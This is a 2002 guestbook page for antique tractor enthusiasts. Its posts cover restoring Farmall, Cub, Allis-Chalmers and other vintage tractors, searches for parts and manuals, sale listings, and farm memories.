Lee W. wrote on Thursday, May 09, 2002 (PDT):I'm a sophamore in high school and a member of the ffa chapter. This fall we bought a 1951 farmall M to restore in a competition. When we bought it it was locked up tight, pretty much, if it was supposed to move... it didnt. WE have had it since mid march, and it is now totally dissassembled, even sleeves are pulled out of the cylinders. The only thing out together in the differential, we put it back together last week. WE are currently sandblasting and reassembling for painting. Just thought I might throw all this out. If your interested reply and ill try to answer questions and keep updated.
Lee wrote on Thursday, May 09, 2002 (PDT):does any one know the value of an engine from a super MD?if so email me at the address provided.
bob hoag wrote on Wednesday, May 08, 2002 (PDT):i am looking for a converson kit could anybody help thanks bob
Shari wrote on Sunday, May 05, 2002 (PDT):I was needing a wiring diagram for a 1940 Farmall M. Anyone have one know where to get one? Thanks!
Pete Jones wrote on Sunday, May 05, 2002 (PDT): I have a 1950 Case LAE Power unit that runs a Frick Saw Mill. I do not see much information on the power units Literature, and pictures are hard to come by. Does anybody have a good Web page? or some information to share. Thank You, Pete
Kelvin P. wrote on Saturday, May 04, 2002 (PDT):looking to buy 135MF diesel, 2000,3000,Ford. Please e-mail if in NC,SC,or VA.
David wrote on Friday, May 03, 2002 (PDT):I might be interested in buying a restorable Allis-Chalmers "G" located within reasonable distance to Western North Carolina and if the price is right. 828-645-9764.
Jeff wrote on Friday, May 03, 2002 (PDT):I'm located in east central Iowa and am interested in purchasing a Cub located within the midwest. Feel free to drop me a note if you know of one for sale. Thanks
Paul Tran wrote on Thursday, May 02, 2002 (PDT):I do have a 52 Case tractor, does anyone know where I can get a manual for it ? Thank you.
Darrell wrote on Thursday, May 02, 2002 (PDT):looking for belt pully for side pto on a 81 to run a saw rig and decals for tractor thanks Darrell
Dina Jameson wrote on Wednesday, May 01, 2002 (PDT):That's right I'm a lady But been pulling tractors since I was 9. And nothing is better than GREEN. This is the first G propane I've ever seen, And all I pull is G's 1 is a 1938 G JD unstyled and the other 1939 G JD styled I pull with my dad and 9 times out of 10 we end up pulling against each other the last two years he's been pulling olivers I've been coming home with 1st place.
Dave "Scooter" Taylor wrote on Wednesday, May 01, 2002 (PDT):to SCRANY; I am also a "beginner". I checked BINDER books and ordered a reproduction owners' operating manual from them. It has all kinds of info for the B and is well worth the price. to ERNIE HENNING; Yes, my mechanic also told me the tractors and all vehicles were designed for leaded gas. The man who sold me my B, said to use "regular gas" (nothing about leaded or unleaded), and it didn't take very long for the plugs to become totally fouled with a black, dry, powdery substance. When I described it to a tractor mechanic, he asked if I had been running unleaded gas and stated that was the problem. I now use an once of lead replacer for each 10 gallons of gas. That is because they don't make "regular leaded" gas any more. It might be possible to have the carb and other fuel-type parts converted so unleaded will work. to LOUIE JEUNE; I am very interested in how you pulled stumps.
Darrel Shields wrote on Tuesday, April 30, 2002 (PDT):Dad recently moved to town and let me have grandfather's 1946 B. It is 2 yrs older than I am, and was one of the first tractors I learned to drive, so I am very attached to it. It's running good now, and am about ready to start on paint. In the late 50's dad and grandpa overhauled it and said it needed to be driven to break it in. They didn't have to ask me twice. Would like to hear from any other B owners. Thanks, and good luck with your tractors.
JAMES H. HANCOCK wrote on Sunday, April 28, 2002 (PDT):I HAVE A 300 INTERNATIONAL UTILITY TRACTOR. IT LOOKS LIKE THE PICTURE ABOVE. IT IS MID 50'S TO 60'S MODEL. THE ENGINE BLOCK IS CRACKED AND STILL RUNS. IT DOES NOT SMOKE AND WILL SELL WHOLE TRACTOR TO SOMEONE IN NEED OF PARTS. IT HAS THE QUICK RELEASE HITCH AND GOOD PARTS TO BE SALVAGED OR REBUILT. WILL SELL FOR $600.00 OBO, YOU REMOVE AT YOUR COST FROM SOMERSET, KY.
Rick Evans wrote on Sunday, April 28, 2002 (PDT):I live in a subdivion and have a small 21/2 car garage with and 7 ft. door. I have liked Massey Harris since I was a kid .We had a 44 and lots of green tractors while growing up.(everyone has green or red around here). I am looking for a small size Massey that will fit in my garage. Massey ponys are to hard to find around here .How big is a 81,or a pacer or a 22 compared to a 44(witch are to big)Thank you Rick
Dan wrote on Sunday, April 28, 2002 (PDT):I have wanted a cub for some time. Finally bought one last week it's a 1949 and will need plenty to restore it to the condition I want. Paid 910.00 Did I pay to much? Also I am interested in any cub clubs or any information about cubs.
Donald Legg wrote on Saturday, April 27, 2002 (PDT):Have a '65 Cub. Anyone know where I can get a two-speed axel for it? Jealous in Washington.
Tim Howe wrote on Saturday, April 27, 2002 (PDT):I have a 1954? surper a. Both rock shafts move slow and seem to labor the pump in one direction (pulling the cylinder into the block on both). I have replaced the check valves, the pressure regulator is in good shape, checked and cleaned all the screens, and can find not other problems. The pump has been replaced(before I owned it). Both rock shafts move fast and strong in the other direction. Is this normal? if not what is my problem?
william woodock wrote on Friday, April 26, 2002 (PDT):I have a wounderful cub that I'm very happy with, But I also have all the gardening/lite farming attachments with it also. I would like to sell the extra attachments that I am not useing. sicle bar, and planting/cultivating attachments. contact me at; farnsworth at yourinter.net
Geral wrote on Friday, April 26, 2002 (PDT):I have a 1947 vao case, I am looking for a engine block. 509-525-6503
Brian wrote on Thursday, April 25, 2002 (PDT):Can anyone tell me where i can find a complete grille assembly for a 1949 "R" Please contact me at my e-mail address I thankyou for your time Brian,Wi
ernie henning wrote on Wednesday, April 24, 2002 (PDT):I just got and E-mail from another B owner and he said that his mech. told him that he had to use leaded fuel only! Has any one else heard this?
scooter wrote on Wednesday, April 24, 2002 (PDT):Just found this site. I bought a 1940 B in Feb this year. Needed tires and tubes. Had it in the shop having carb and fuel system rebuilt. It has home-built 3-point. It is in Dase-IH dealer shop in Taylor TX now having transmission case repaired and draw bar and new oil gauge pressure installed. It isn't mint, but I am dang proud of it.
Jim Turner wrote on Wednesday, April 24, 2002 (PDT):My Dad's first tractor was a Massey-Harris (he farmed with horses before that). He had three when I was a kid, a 44 row crop, a 44 standard, and a 22 row crop. I started driving them when I was 9 and spent many hours on them. They are all still on the farm, have always been kept inside, and run great.
Chris Pierce wrote on Monday, April 22, 2002 (PDT):My grandpa and i have a 195? "M" (gave $1500 for it) with a detroit diesel in it. Can anyone tell me anything about it, any help would be appreciated.
Steve Rouse wrote on Sunday, April 21, 2002 (PDT):I'm calling about a Cub that is advertised in the paper soon. Don't know a lot about them. What would be some questions to ask? Don't know any info about it other then it has a five foot belly mower. Thanks!
Jim Broughton wrote on Saturday, April 20, 2002 (PDT):Jeff; Your Cub is a late 1948 or early 49 model, depending when it was originally sold. For a repair and re-build manual, write Intertec, P.O. Box 12901, Overland Park, Kansas 66282-2901.Cost is about $20.00 Hope this helps. Jim
Mark S. wrote on Saturday, April 20, 2002 (PDT):My brother brought some propety and this old farmall was on it after looking at the web site I now belive it is a cub with a brush hog mower. He says it has a snow plow blade also. Does any one out know if this sound right I know it is not a regular farmall tractor need to know where we can get possible parts and manuals at for rebuilding this cub amd brush hog.
jason wrote on Friday, April 19, 2002 (PDT):I think your bearing is about shot.
Kyle wrote on Wednesday, April 17, 2002 (PDT):I am thinking about buying a Allis Chalmer G tractor I am wondering how much it would cost just to buy one that runs good but its not restored.
koreymillner wrote on Tuesday, April 16, 2002 (PDT):its ugly
KOREY WALKER wrote on Tuesday, April 16, 2002 (PDT):you gota nice tractor i was just wanting to know if you want to sell it its ugly my uncles is nicer
TJ Darnell wrote on Tuesday, April 16, 2002 (PDT):I'm 14 and i have a allis charmers tractor that is 52 years old and it still runs. I do all my own repairs and its still running stonger than ever. I would like to paint it the normal color the color it was 52 years ago. If you will please write me back to tell me. This is the stronges tractor i have used and will continue using. TJ
Matt Juran from Dauphin County, PA wrote on Tuesday, April 16, 2002 (PDT):I've owned a Farmall SM now for 3 months and haven't had any previous problems until now. The right wheel ( on a wide front ) wiggles left to right when I'm in 5th gear going on any backroads or highways. Is it safe to run er like that, what's the problem and can it be replaced?
Jeff London wrote on Sunday, April 14, 2002 (PDT):Can someone please help me out I have a number off of a Farmall Cub that my Dad has but I don't no the year of it the number on it is #36133 I have looked for it but don't see it.Can someone help me get start on this..Thanks Jeff London
R. Redmond wrote on Saturday, April 13, 2002 (PDT):I have a 1942 AV Hi-Crop Farmall. SN# 85932. I found the year by using the SN# at a Yahoo site for Farmall tractors. I hope this might help someone. What I would like to know is the actual value of my AV. It has electric start, 4 cyl. gas engine and NO hydraulics at all! Although it is in serious need of an engine rebuild and restoration, it is a joy to do the garden with!
Tony Brinkmann wrote on Saturday, April 13, 2002 (PDT):Having driven M5's as main tractors for many years I have grown to repect them for their toughness and reliability. In Australia I have only seen the standard frontend model, we have two, both 1961 models, one has a FEL (locally made) this was put on in 1980, and still does an enormous amount of work for a tractor 41 years old. It does about 500 hours a year, has at least had two engine rebuilds and three amplitorc reconstructions. I feel that the FEL has contributed to undue wear and tear on amplitorc! Total hours for this tractor is in excess of 16,000, but is soon to be made redundant and thus suitably pensioned off. The other M5 is as bought, no cab, no three point linkage, and no repaint, and is in spendid show condition, it has done about 6,000 hours, and does very few now.
Kirk Newton wrote on Friday, April 12, 2002 (PDT):I have a 1958 International Cub Lo-Boy that I have been restoring for the past few months. My father originally purchased the tractor in the 1970's. So far I have removed the head gasket, starter, radiator and the generator. I have rebuilt & reinstalled all these items. Last Sunday I was able to start the tractor for the first time in about 30yrs. It runs like a sewing machine! It has all the original parts. It is still a 6-volt positive ground system. I still have a long way to go, but I have been enjoying myself rebuilding it.
John Cher wrote on Friday, April 12, 2002 (PDT):Hello! I have a BBIIGG question to ask. SSSOOOO Rose Flamant how do you look in a bathing suit? If you look good give me your # and I WILL call you. You sound like the perfect person for me. Oh and the answer to your question is the stick.
Houe Seau wrote on Friday, April 12, 2002 (PDT):Good Morning USA and Canada! What a beautiful day! I like tractors. BYE
Rose Flamant wrote on Friday, April 12, 2002 (PDT):hello I like to read your web site to find out the new different kinds of styels. Whats the diference between a 7N and the new 2N? at at at at
jason schott wrote on Friday, April 12, 2002 (PDT):jd had more junk features than any farmall and they still think thier better. red power
Eric Willis wrote on Friday, April 12, 2002 (PDT):I am about to purchase a cub for the first time. It's serial # is 216108, which says it's a 1960. It has been painted red over yellow, I have been told that some of the cubs were painted yellow in the early days of production but not 1960. Is this true? And also, what type of horsepower is this tractor producing? PLEASE HELP!!!!
Gary wrote on Thursday, April 11, 2002 (PDT):I have two or three gas tanks for f-20 i think or of them is for a regular.
Gary wrote on Thursday, April 11, 2002 (PDT):I have two or three gas tanks for f-20 i think or of them is for a regular.
Ray B. Ivey wrote on Wednesday, April 10, 2002 (PDT):I just purchased a 1949 Farmall Cub that had been completely restored even to the decals. How much would this tractor be worth. It runs and looks like new.
Tara Timmermans wrote on Tuesday, April 09, 2002 (PDT):I am doing a school project on John Deere's first invetnions from 1838-1880. I need like 10 pictures and some writing about when they were made and what was it's relieablity. I am not having the greatest help by the internet or maybe i am not trying. But yeah. Could you help me.
Robert McKnight wrote on Tuesday, April 09, 2002 (PDT):I once drove a small tractor like the allis 'G', except that it was steered with your feet, and the under-belly cultivators were moved left or right by hand. I was about 12 at the time, and don't remember what it was called. I now could use one for my business, trialing flowers for seed companies. Thanks in advance.
jason schott wrote on Tuesday, April 09, 2002 (PDT):Grandpa has a 8n that leaks oil out the right side of the back axle any idea of what i could do to fix the problem.
Tom D wrote on Monday, April 08, 2002 (PDT):Can anyone tell me where I could find parts/info on a MF with a chrysler 6cyl? Email me please
John Boyd wrote on Sunday, April 07, 2002 (PDT):1946 Rowcrop Oliver cockshutt Looking for a engine to finish restoration of my Fathers First tractor
Brutus wrote on Sunday, April 07, 2002 (PDT):I have a 59 900 dsl. The same holds true for them about that nice sounding engine. Have plowed against an 80 JD both with 4-14's. Deeres 3rd gear was between case's 2nd and 3rd. In tough ground I ran in 2nd. In 3rd the 80 could;nt keep up. Operator is comfort is another matter, all that banging would drive me nuts. A muffled Case dsl won't deafen you after a long day. Sorry i'm kind of biased!
len nolen wrote on Saturday, April 06, 2002 (PST):I live in Queensland Australia & have a super dexta model #957e7005 I,m shore it,s 3cylinder perkins diesel any info on this model would help me get it running again
Dorman Lummus wrote on Saturday, April 06, 2002 (PST): I am Looking for planters and Fertilize Distributor for a Farmall Cub,prefer somewhere in Texas..Thanks
Eric Todd Gardner wrote on Saturday, April 06, 2002 (PST): I have a vac-14 ser 6038589 the book i have from peter letourneau says they were built in 1953-54 but these ser number are from a 1956 , I wonder if he is right or wrong , had mine 13 years ,done everthing from bushoging to bailing hay , I also have a no 6 bushog , almost as old as the tractor , I like my case .
brian correll wrote on Saturday, April 06, 2002 (PST):I need a price on famall[A] tractor yrar 1939 been overhaulded and new tires.
bob curran wrote on Saturday, April 06, 2002 (PST):Living in Massachusetts. I'm looking for a decent cub or cub lo boy with turf tires and belly mower within reasonable distance of southeatern Mass. area. Primary interest is in mowing a large lot surrounding my house and limited gardening. Not looking for a showboat as much as a dependable working machine.
kelley dalton wrote on Thursday, April 04, 2002 (PST):I have a massey-harris 44 special. I think it's a 1951 model but i'm not sure.It's got all original parts and is in good running order with good tires on it and a new paint job.I'm putting this tractor up for sale for about 1500. dollars,it could be yours.520-568-9545
Scrany wrote on Thursday, April 04, 2002 (PST):I was blessed recently with a "B" from a friend and neighbor and it is going to need some work. So I was looking around to find some information on them. I found this sight and have learned alot on just my first visit. Keep all that information coming. Does anyone know of any other good source for a beginner? Thanks
Ron wrote on Thursday, April 04, 2002 (PST): I purchased my 1955 fordson major diesel last spring(3-2001). It has a wagner loader,3point lift, and sherman powerdigger backhoe. The operator, service, and parts manual is available and I got whatever parts I needed for the engine rebuild new. The only problem I had was locating a decent fuel tank(mine has multiple big dents). 3/31/2002 I bought another fordson major diesel w sherman power digger and wagner loader. I'm going to part this one out even though it still runs. Oil and fuel filters are available through a local autoparts store for a fraction of what a Ford New Holland dealer wanted for them. The radiator cap and hoses were also readily available. The fuel pumps are available new. It was difficult finding a mechanic who had worked on one but I did and had him help me rebuild the engine and set it up. There is a mechanic in England (Brian) who give excellent info on upgrades and troubleshooting. He can be found on the fordson page under yesterdays tractors. I'm located in New Jersey and found parts sources in Pa. If you can't find what you need email me. Maybe I can help.
derek wrote on Wednesday, April 03, 2002 (PST):PLEASE INCLUDE ME IN YOUR NEWSLETTER'S THANK-YOU .
Jack wrote on Wednesday, April 03, 2002 (PST):I have 2 cubs with 2 speed rear ends are these rare. Also one has the quick coupler with a rototiller?
Jim Broughton wrote on Wednesday, April 03, 2002 (PST): To; Tom Re; serial # 137,500 Your Cub is a late 1951 or early 1952...hope this helps. Jim
Dave wrote on Wednesday, April 03, 2002 (PST):I am looking for a tool box and the rear wheel wrenches used to change the wheel width for an AC 160. Does anyone have these for sale or can they help me locate these items. Also need pages 21 through 24 of the operator's manual. Could anyone provide copies of these pages?
Bill Rutherford wrote on Tuesday, April 02, 2002 (PST):I'm in the process of restoring a 1940 ZTU. I plan to have it done for the Great MM Expo at Rollag Mn this Labor day weekend. I also have a 1930 Twin City KT with correct decals and a 1959 GVI diesel. See ya at Western MN Steam Threshers Reunion
Tom Dampsy wrote on Tuesday, April 02, 2002 (PST):I just bought a mh44 and would like to put a loader on it. Any info would be much appreciated...parts...etc. Thank you
mike latimer wrote on Sunday, March 31, 2002 (PST):I have a EXP-VAC 48.3 that's all that is on the name plate and I would like to know what EXP means and the year of this tractor. Mike L.
Teeter wrote on Sunday, March 31, 2002 (PST):I have converted a 8n to a flat head V-8 100 hp started in June 2001 finished in March 2002. In just my spare time built conversion myself total $73.00 in material. Showed in tractor show In White Oak N.C. out of approx. 100 tractors placed Best Of Show. Very Proud Of It!!!!!!!!
Joe Haffner wrote on Saturday, March 30, 2002 (PST):In 1961 my brother Dan & I bougth a Moline G 706 it was from a show inDes Moines IA & prairie gold & red ( instead of brown) it had a Ellwood front axle ( like under a army 6X6truck ) it was LP gas & pulded a 6-16 plow . We dualed the front & it pulled & rode better . I have one of the later axles now ?? Joe SE Iowa
tom wrote on Saturday, March 30, 2002 (PST):i bought an ac-b. it has been altered. someone put an alternater on it. i think the magneto is bad. i dont have any fire to the distributer. can anyone tell me how it should be wired to run. thanks.
tom wrote on Saturday, March 30, 2002 (PST):my father bought a farmall cub the serial # is 137,500. does anyone know what year it is ? if not how can i find out? thanks.
Louie Jeune wrote on Saturday, March 30, 2002 (PST):I bought one of these B tractors in 74 restored it and used it for pulling stumps in New York State. Sold it in 77 and moved to Arizona and never saw one again.
Michael Roush wrote on Friday, March 29, 2002 (PST):Recently purchased D-21 II, 3666 original hours with overhaul 300 +/- hours ago. Good rubber, starts and runs good, needs hoses and hydraulic seals replaced. Sheet metal is great shape with exception of grill. Intend to 'play' a little, mow CRP, replace hoses and seals, and eventually restore to orifinal condition. Always wanted one and thought better not pass up opportunity!
Jim Posey wrote on Friday, March 29, 2002 (PST):In 1954-55, I worked on my uncle's farm in Blythe, California. He had a International I-9, a Farmall H, and a Minneapolis Moline U. Both the I-9 and the MM were fueled with Butane gas. I drove the MM a lot, disking fields for alfalfa planting, and we used the H for mowing, raking, and baling, but for the realy heavy work such as leveling land with a rotary carryall, or pulling a big disk, the I-9 was put to work. I don't know what became of these machines after the death of my uncle, Atkin Posey, but I'll never forget the experiences I had as a seventeen year old in the heat of the Colorado River Valley at Blythe.
Willie Lambright wrote on Friday, March 29, 2002 (PST):Just bought 1939 farmall b, where do i buy parts?
W.J. Shaver wrote on Thursday, March 28, 2002 (PST):An of you out there have experience on freeing up stuck rock shaft on Jd 60, Has fluids, response from hydraulics etc, do I have to go in the rear end of my machine 7 what might have to replace, also what plugs should be in the powertrol block to have fluid power to quick disconects & three point linkage. Thank you Bill Shaver.
charles w hawkins wrote on Wednesday, March 27, 2002 (PST):I have an A farmal for sale. This tractor was bought new in Athens Ga. in 1941 and has been used only to work gardens and small corn patches. The planters and fertilizer hopper have never been installed on the tractor and are in new condition. The culterivors are complete. This tractor is being used to work a small garden. The vacume lift has been removed and is in storage. I use the hand lift. This would be a nice tractor to restore.
Carlous King wrote on Tuesday, March 26, 2002 (PST):Saturday march, 23. I was out searching the country side for a good used tractor and came across one at a bargain so I purchased it on the spot. Did not know much about it except it ran and it was a Ferguson. To my suprise after searching the web pages, I'm a proud owner of a 1950, TO 20 Ferguson s/n-17446. I would like to know if anyone has had any dealings with one that has been changed over to LP gas? I have consider changing it back to it's original state but was advised not too. Does anyone know if changing it back to gas will hurt my fregie? And like many others does anyone know were I can find a manual?
Paul Visentin wrote on Monday, March 25, 2002 (PST):I am restoring a Massey 81. I was told that the Canadian Air Force painted them blue (Air Force Colors) during the second world war. Apparently they were used to tow aircraft on the tarmac. If anyone has any info on this I would appreciate any comments you have..
Robey Farr wrote on Monday, March 25, 2002 (PST):I have a 1936-37 Silver King with a four cylinder Hercules IXB5 engine. I am in need of a governor, mag, and would like to know what to use for seals to keep the rear wheels from leaking oil. Any info would be appreciated.
Greg Kennel wrote on Monday, March 25, 2002 (PST):whats the average price for a "Z"?
Nick Russo wrote on Monday, March 25, 2002 (PST): I am looking for info on the seed plate drive for a super a/v. I am trying to install it and am not sure what to with current bearing in there.Is there a smaller one or just remove it??
D Edwards wrote on Monday, March 25, 2002 (PST):I was just given a 44 diesel Massey Harris tractor. It hasn,t ran in over ten years. I was wondering if anyone had any info on the engine. It still turns over, but all the fluids and filters will have to be changed before it can be started. b
KEVIN wrote on Monday, March 25, 2002 (PST):I AM LOOKING FOR INFO ON PART # AL 2011 T WHICH SUBS TO 3 PART NUMBERS L 180 T ANCHOR , L 188 T BOLT, T 133523 LINING. ALL ARE BREAK BAND PARTS. NEED TO KNOW IF THEESE ARE SEPERATE OR THE WHOLE PART, AND ANY INFO ON THIS THANKS.
Nick wrote on Monday, March 25, 2002 (PST):M grandfather has a 560 gas,and boy do i love the sound it makes going up a hill with gravity wagons with a straight pipe on it!
Donald Hann wrote on Sunday, March 24, 2002 (PST):3/24/2002 Iam writing because i am curious as to why there is never any mention of the 60 Standard, In my opinion they are a much better tractor than the Row Crop 60. These little tractors are not quite as heavy overall weight as the row crop, but they are the same power-wise. The Standard is heavier in the front end,has a heavier frame which does not break and will pull as much as a Row Crop will. I am writing as the owner of a 60 Standard which i restored 1`2 or 15 years ago and it still looks pretty good but i am getting ready to give it a fresh paint job as it gets scarred up hauling it around to numerous shows, this little tractor runs sweet as honey and never needs much of anything done to it . as you can probably tell by this writing, this is my favorite tractor of the six that i own.PLEASE DO NOT PUBLISH MY E-MAIL ADDRESS.
Jason wrote on Sunday, March 24, 2002 (PST):Does anyone have a farmall B tractor muffler for sale?? Here is my email address ding47326 at yahoo.com
Jason wrote on Sunday, March 24, 2002 (PST):Does anyone have a farmall B tractor muffler for sale?? email if you do.
Ian Curran wrote on Sunday, March 24, 2002 (PST):My Dad has a W-4,Plus a Super W-6 They are both very dependable tractors.They did our farm work for many years and still are used on a regular basearound the farm for the lighter jobs now.We still have most of the drag type imploments to fit them.I would say a 3 furrow McCormick Deering Plow behind a W-6 does a better job plowing then any newer plow out there today!
Henry Hahn wrote on Saturday, March 23, 2002 (PST):Kevin the s/n.& model # is steel stamped in the insterment panelbelow the gages it will be like 48D xxxx you may have to scrape off some rust & paint send me your name and addres and I will mail send you some Leader information Henry Hahn 7606 Hwy. J Perryville,MO 63775
RICHARD wrote on Friday, March 22, 2002 (PST):THE M, AND THE SUPER MDTA WERE POWERHOUSES. WE SUPED OURS UP HOWEVER OUR UUTU MINI WAS MUCH MORE POWERFUL. DOES ANYONE REMEMBER THE SUPERCHARGED SUPER MDTA. WE NEVER ONCE FOUND ANY ONE WHO COULD OUT DO OURS WITH THE EXCEPTION OF THE MINI, WE HAD 2, 2-18s WELDED TOGETHERM AND IT BELLERED LIKE A WOUNDED BUFFALO. WELL I REMEMBER THE GOOD OLD DATS.
Rob Rowley wrote on Friday, March 22, 2002 (PST):hello we have a 22-36 that my great gramp bought new in 34, dad and i restored this 6 or 7 years ago, im 20 now just wonder how long we can keep it going , it has steel rear and rubber fronts .
Mil Penner wrote on Friday, March 22, 2002 (PST):I believe the Wallis pictured is 1927 or 1928. You can tell by the steering gear position. I have a restored 15-27 and a salvage 20-30.
JASON wrote on Friday, March 22, 2002 (PST):I HAVE A 1936 F-20, I AM DOING A COMPLETE RESTORATION ON THE TRACTOR. DOES ANYONE KNOW HOW TO REMOVE THE 3 1/2" FLY WHEEL NUT. IS THERE A KEEPER KEY ON IT SOME WHERE THAT I AM NOT SEEING? I HAVE MADE A WRENCH TO FIT THE NUT BUT I JUST CAN'T SEEM TO BREAK IT LOOSE.
ALBERT SMITH wrote on Thursday, March 21, 2002 (PST):I STILL NEED A HEAD FOR A 1919 INTERNATINOL 8-16 607-738-8499
bobeque wrote on Thursday, March 21, 2002 (PST):I need a rockshaft bearing for a 51 cub. The part # is 352 130 R91. If anyone has a used one (two halves) e mail me. Thanks.
Wayne wrote on Thursday, March 21, 2002 (PST):Bill, I own my grandfather's 1946 B. I am very interested in the mechnical set up of your lift system and how well it performs? Thanks, Wayne
Bill Elton wrote on Tuesday, March 19, 2002 (PST):I have my grandfather`s 1939 B. He bought it new with both single and double front ends. My grandkids use it every year for haying. Has a 7`rear mount mower. I had a second pully mounted on the damper and added a power steering pump, tank, valve and cly. to lift with. Also changed bellhouseing, put in ring gear, starter,battery. Runs GREAT
Ella J. Durrett wrote on Tuesday, March 19, 2002 (PST): I want a rear fast hitch mower for a 1954 farmall cub lh disconnect.
Jack Atkins wrote on Monday, March 18, 2002 (PST):I have just dragged home a 1934 f12. The mag. is missing but everything else seems to be there. I probably will part out if anyone needs anything. Can e-mail pic.
DOUG CAMERON wrote on Monday, March 18, 2002 (PST):I LIVED IN UPSTATE NEW YORK IN 1968 AND WENT TO A FARM AUCTION NEAR SYRACUSE THAT YEAR. TO MY SURPRISE THERE WAS A "R" IN NEARLY NEW CONDITION SOLD FOR $1600. MY WIFE AT THE TIME WOULD NOT LET ME BID. TOO BAD.
Ted Allison wrote on Sunday, March 17, 2002 (PST):Ya i have a 1961 AC D17 that was my great grandpa's...he didn't use it much on the farm cuz he passed on a few years later, it was pretty much a retirement tractor for him to run around on, kinda like his own cadilac...it's still in the condition he left it, shinny orange and still settin in hte garage
taz wrote on Sunday, March 17, 2002 (PST):march 17,2002.am looking for a Massey Harris Special tire,Model 44...1330 tire......I am located in Wisconsin
Thomas Vaughan wrote on Sunday, March 17, 2002 (PST):The first tractor I drove was a 1953 ZB MM. I spent many hour driving it with a 2 bottom oliver rope trip plow. Also learned my first mechanicial skills on it under a shade tree.
Jason McConnell wrote on Sunday, March 17, 2002 (PST):I would like any information that you could give me on a front end loader for a super 90. I need one but unsure if they make one for the super 90's.
dan wrote on Sunday, March 17, 2002 (PST):I need a diagram of the transfer case on a 1953 case DI I keep getting stuck between gars.
Jerry Hurst wrote on Saturday, March 16, 2002 (PST):I have been playing with allis g tractors all of my life. If you have any questions call me at 812 967 3049 Jerry
wilbert jones wrote on Saturday, March 16, 2002 (PST):I AM REWIRING MY 8N TRACTOR FROM A 6 VOLT TO A 12 VOLT & HAVIHG PROBLEMS .IAM NOT FAMILIAR WITH THE ELECTRIAL PART .WOULD LIKE TO HAVE HELP HELP.
Mark Paskevich wrote on Saturday, March 16, 2002 (PST):I have a 1928 Rock Island Model "F" 18-35 tractor with Buda "YR" engine, Dixie-Spiltdorf-Aero 46C Magneto and Stromberg M3 Carb on steel wheels with lugs. I'm interested in any spare parts of any kind, rubber tire wheels/rims to fit same, original advertising material. Also interested in complete Rock Island tractors running or not, restorable or for parts. Please contact markp at rotec.com Ph;250-260-6299
Don Grunewald wrote on Friday, March 15, 2002 (PST):I am restoring a l944 model 345 Silver King. I have been told by one party that they were painted white during the war on account of the shortage of aluminum. Has anyone ever seen one like that?
Gene Spinler wrote on Wednesday, March 13, 2002 (PST):The firt tractor I drove was a '47 "Z". My dad repainted it and it looked really sharp. Wish I cod find a good pic.
Andrew Tipaldos wrote on Wednesday, March 13, 2002 (PST):I have a 1941 case it runs great no problems it has a front end loader on it and a eagle three point hitch.
Leon Jenkins wrote on Tuesday, March 12, 2002 (PST):Could'nt wait till I was big enough to run our neighbors big JD-A. Helped load a huge load of chicken manure, heaped up on the spreader. The field was down hill in n.e. Penna. I was spreading in "high" gear, full throttle, started bouncing so thought I'd better apply a little brake. was I ever startled when I slowed a little and the govenor kicked in and away I whent making several atemps to grab the throttle and finally getting under control. I guess you know I never spread in high gear again. Shore would love to have that "old John" now to restore.
Andy wrote on Tuesday, March 12, 2002 (PST):ALL PARTS available for MC crawlers including excellent undercarriage and drive train and sheet metal
donna wrote on Tuesday, March 12, 2002 (PST):i have a 1948G allis that was left to me by my grandfather. runs,but needs new tires.any idea what its worth,if so please e-mail me .
Nunn wrote on Monday, March 11, 2002 (PST):I have a 1952 Super A Farmall. The tractor is in fair shape, it needs new tires, a paint job, etc. I also have a 1954 or 1955 super a Farmall. This tractor also needs to be restored. I need sugestions on what these tractors is worth, in good, and in fair condition.
Ron Schropp wrote on Monday, March 11, 2002 (PST): Heres my E-mail address. Also my phone# is 306-638-2220 Saskatchewan Canada
ron schropp wrote on Monday, March 11, 2002 (PST):I just bought a 8N tractor. 1947 serial # 104397. Came with front end loader. Its got a 3 speed transmision with a Sherman StepUp transmision. What I was wondering was, how many were made, also, are these the original parts... There are 8N markings in the casting of rear end and bell housing. I'm also looking for an adaptation kit(V8), provided by Funk Aircraft Company.
Jeremey wrote on Sunday, March 10, 2002 (PST):I bought a 39 f20 with a electric start and was wondering where the battery would be located? There is no battery box on the tractor. The tractor also has a belly pump and lights. Kind of a rare f20. If anyone has a idea let me know.
Louis Krock wrote on Sunday, March 10, 2002 (PST):I had a Leader a long time ago. I am looking to buy another one. would appreciate Information on one in the indiana or michigan or ohio area or another state not too far from indiana. Louis Krock.
C.L. Bowman, jr wrote on Sunday, March 10, 2002 (PST):I have an Oliver 550 which is about a 1962 model. It has a four cylinder gas engine. This tractor looks almost as good as the picture. Excellent condition as appearance goes. Almost new tires. I bought this tractor about 3 months ago and the governor went bad. I replaced it but it cause the carbuerator to flood and filled my oil with gasoline. As a result I think I spun a rod bearing. It started making a lound noise so I have not used it. Everything worked. Has a stong 3 point lift. Good pto. I hate to sell this one but I needed a tractor bad, so I had to buy another one. This would make some one a great tractor if the engine bearing problem was fixed. I will sell for $1200.00 as is obo. Again this tractor looks Great!!!!!
morris wrote on Saturday, March 09, 2002 (PST):does anyone have suggestions about when I can put an ad. I have a 1947 Farmall Cub tractor and implements for sale?? Thanks
David wrote on Saturday, March 09, 2002 (PST): I have located a 44 MH with a Diesel moter that was running but is not running now. The owner of the tractor thinks it is the injecter pump. I would like some input from anyone on rebuilding or working on the injector pump. I would be greatful for any info like available parts or can i even get parts to fix the pump. I have Know more info on the tractor than that to offer other than the fact that the owner said it did not have a 3pt on the tractor. Thanks for your time. David of Walnut Grove Mo.
Eldon Wright LeRoy, Ks wrote on Saturday, March 09, 2002 (PST):I had a SC Case about 25 years ago the same one I racked hay with when I was 6 I would like to find one to restore for my Grandkids to drive thay make a good kid tractor would like to find one in the mid west thanks Eldon
Phil Hamblett wrote on Saturday, March 09, 2002 (PST):I just inherited a Farmall 140 that was garaged fo r a number of years....has 5 foot belly mower...battery is 12 volt (Tom W.)check alternator, then battery cables, they can short out or rust through. Great tractor to own!
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Gord, New guages are available at around $135.00 from W.H. Lien,Inc N 8974 Pole Grove Road Hixton,Wisconsin 54635 OR Telephone 715-963-4211.They also have Tachometers.
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Gord, New guages are available at around $135.00 from W.H. Lien,Inc N 8974 Pole Grove Road Hixton,Wisconsin 54635 OR Telephone 715-963-4211.
Gil Wells wrote on Saturday, March 09, 2002 (PST):I have a VAI circa 1951 that I am restoring. I am trying to find a site where I can get decals for it. Can anyone help me?
